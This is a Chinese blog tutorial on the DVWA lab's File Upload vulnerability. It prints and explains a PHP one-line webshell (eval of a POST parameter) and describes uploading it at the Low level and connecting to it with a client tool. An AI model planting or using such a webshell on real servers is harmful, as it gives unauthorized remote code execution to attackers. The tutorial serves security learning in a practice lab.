DVWA File upload& 一句话木马

本文介绍了DVWA中File Upload模块的漏洞利用,从Low到High级别,详细讲解了一句话木马的概念及如何构造。通过结合文件包含漏洞,尝试生成并解析图片马以获取shell。同时提到了防御思路,如函数替换和编码绕过。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一句话木马是什么:
例如:<?php @eval($_POST[young]);?>
@的意思就是后面是啥东西执行时都不要报错
把eval 里面的字符串当作代码执行
$_POST[young] 超全局变量
用young参数把需要执行的语句传进去,然后通过eval里去执行这个语句,达到了目的。
例如需要输出young
young被输出出来在这里要注意几个问题,首先就是在语句的最后要加上;作为语句的结束。
在本地搭建靶场时,如果需要burpsuite抓包一定不要访问localhost或者127.0.0.1,因为这样抓不到包,可以看自己本机的ip是多少然后访问。
在这张图片可以看出young被输出出来
可以用php中的一些函数查看文件
这就是为什么用菜刀连接就可以做很多事情,其实就是你的操作变成了命令然后通过你输入的参数传了进去,然后执行。 密码即为POST中的参数。 终于懂了

接下来就是以DVWA中的File Upload模块来学习一下文件上传的几种姿势。

  1. Low级别的上传
    low级别的没有加任何的防护。直接上传成功。

在这里插入图片描述
在这里要学习的点就是…/的含义。…/的意思就是向上返回一层文件夹,在这里目录已经给了,这样就很简单了。直接访问我们上传的一句话木马,就可以做我们想做的事情了

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值